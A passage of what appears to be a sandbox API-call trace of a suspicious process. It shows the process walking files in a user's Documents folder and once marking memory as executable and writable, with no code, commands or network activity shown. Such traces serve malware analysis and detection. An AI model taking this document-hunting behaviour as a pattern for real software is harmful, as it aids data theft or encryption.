pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.996] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.997] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", cchWideChar=65, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 65 [0165.997] SysReAllocStringLen (in: pbstr=0x1fd3c0bc*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1fd3c0bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0165.997] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe999900, ftCreationTime.dwHighDateTime=0x1d5dfcb, ftLastAccessTime.dwLowDateTime=0x4e8f1b20, ftLastAccessTime.dwHighDateTime=0x1d5daa8, ftLastWriteTime.dwLowDateTime=0x4e8f1b20, ftLastWriteTime.dwHighDateTime=0x1d5daa8, nFileSizeHigh=0x0, nFileSizeLow=0x166e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dtexXnPV-q5EUwy6.ppt", cAlternateFileName="DTEXXN~1.PPT")) returned 1 [0165.997] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt", len=0x4b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt") returned 1 [0165.997] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt", len=0x4b | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt") returned 1 [0165.997] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt", len=0x4b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt") returned 1 [0165.998] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt", len=0x4b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt") returned 1 [0165.998] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt", len=0x4b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt") returned 1 [0165.998] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt", len=0x4b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt") returned 1 [0165.998] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt", len=0x4b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt") returned 1 [0165.998] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad442bb0, ftCreationTime.dwHighDateTime=0x1d5d9bd, ftLastAccessTime.dwLowDateTime=0xa800e270, ftLastAccessTime.dwHighDateTime=0x1d5dd9a, ftLastWriteTime.dwLowDateTime=0xa800e270, ftLastWriteTime.dwHighDateTime=0x1d5dd9a, nFileSizeHigh=0x0, nFileSizeLow=0x15862, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FBEMbgbp31zs6IMt.ppt", cAlternateFileName="FBEMBG~1.PPT")) returned 1 [0165.998] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\dtexXnPV-q5EUwy6.ppt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt", len=0x4b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt") returned 1 [0165.998] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt", len=0x4b | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt") returned 1 [0165.999] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt", len=0x4b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt") returned 1 [0165.999] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt", len=0x4b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt") returned 1 [0165.999] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt", len=0x4b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt") returned 1 [0165.999] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt", len=0x4b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt") returned 1 [0165.999] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt", len=0x4b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt") returned 1 [0165.999] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26403270, ftCreationTime.dwHighDateTime=0x1d5e7a1, ftLastAccessTime.dwLowDateTime=0xf305f930, ftLastAccessTime.dwHighDateTime=0x1d5e6e2, ftLastWriteTime.dwLowDateTime=0xf305f930, ftLastWriteTime.dwHighDateTime=0x1d5e6e2, nFileSizeHigh=0x0, nFileSizeLow=0x5ee4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gmz3Ew_PQshhQ_mUARao.odt", cAlternateFileName="GMZ3EW~1.ODT")) returned 1 [0165.999] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\FBEMbgbp31zs6IMt.ppt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt", len=0x4f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt") returned 1 [0166.000] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt", len=0x4f | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt") returned 1 [0166.000] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt", len=0x4f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt") returned 1 [0166.000] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt", len=0x4f | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt") returned 1 [0166.000] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt", len=0x4f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt") returned 1 [0166.000] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt", len=0x4f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt") returned 1 [0166.000] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt", len=0x4f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt") returned 1 [0166.000] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Gmz3Ew_PQshhQ_mUARao.odt", cchWideChar=24, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gmz3Ew_PQshhQ_mUARao.odtnts\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 24 [0166.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.001] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Gmz3Ew_PQshhQ_mUARao.odt", cchWideChar=24, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gmz3Ew_PQshhQ_mUARao.odtnts\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 24 [0166.001] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Gmz3Ew_PQshhQ_mUARao.odt", cchWideChar=24, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gmz3Ew_PQshhQ_mUARao.odtnts\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 24 [0166.001] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e508c0, ftCreationTime.dwHighDateTime=0x1d5d95f, ftLastAccessTime.dwLowDateTime=0x814cb8c0, ftLastAccessTime.dwHighDateTime=0x1d5df34, ftLastWriteTime.dwLowDateTime=0x814cb8c0, ftLastWriteTime.dwHighDateTime=0x1d5df34, nFileSizeHigh=0x0, nFileSizeLow=0x1c1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nw6yRN_BJk3Mts7Y2y.csv", cAlternateFileName="NW6YRN~1.CSV")) returned 1 [0166.002] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\Gmz3Ew_PQshhQ_mUARao.odt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv", len=0x4d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv") returned 1 [0166.002] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv", len=0x4d | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv") returned 1 [0166.002] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv", len=0x4d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv") returned 1 [0166.002] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv", len=0x4d | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv") returned 1 [0166.002] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv", len=0x4d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv") returned 1 [0166.002] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv", len=0x4d | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv") returned 1 [0166.002] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv", len=0x4d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv") returned 1 [0166.002] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="nw6yRN_BJk3Mts7Y2y.csv", cchWideChar=22, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nw6yRN_BJk3Mts7Y2y.csvdtnts\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 22 [0166.002] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="nw6yRN_BJk3Mts7Y2y.csv", cchWideChar=22, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nw6yRN_BJk3Mts7Y2y.csvdtnts\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 22 [0166.002] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="nw6yRN_BJk3Mts7Y2y.csv", cchWideChar=22, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nw6yRN_BJk3Mts7Y2y.csvdtnts\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 22 [0166.003] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6aff2f0, ftCreationTime.dwHighDateTime=0x1d5e243, ftLastAccessTime.dwLowDateTime=0x43c14100, ftLastAccessTime.dwHighDateTime=0x1d5dbc0, ftLastWriteTime.dwLowDateTime=0x43c14100, ftLastWriteTime.dwHighDateTime=0x1d5dbc0, nFileSizeHigh=0x0, nFileSizeLow=0x909d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z83cKY5mZXN1FIiv8VR.odt", cAlternateFileName="Z83CKY~1.ODT")) returned 1 [0166.003] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\nw6yRN_BJk3Mts7Y2y.csv", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt", len=0x4e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt") returned 1 [0166.003] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt", len=0x4e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt") returned 1 [0166.003] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt", len=0x4e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt") returned 1 [0166.003] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt", len=0x4e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt") returned 1 [0166.003] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt", len=0x4e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt") returned 1 [0166.003] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt", len=0x4e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt") returned 1 [0166.003] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt", len=0x4e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt") returned 1 [0166.004] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6aff2f0, ftCreationTime.dwHighDateTime=0x1d5e243, ftLastAccessTime.dwLowDateTime=0x43c14100, ftLastAccessTime.dwHighDateTime=0x1d5dbc0, ftLastWriteTime.dwLowDateTime=0x43c14100, ftLastWriteTime.dwHighDateTime=0x1d5dbc0, nFileSizeHigh=0x0, nFileSizeLow=0x909d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z83cKY5mZXN1FIiv8VR.odt", cAlternateFileName="Z83CKY~1.ODT")) returned 0 [0166.004] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0166.004] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0166.004] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0166.004] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0166.004] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0166.004] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0166.004] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0166.004] SysReAllocStringLen (in: 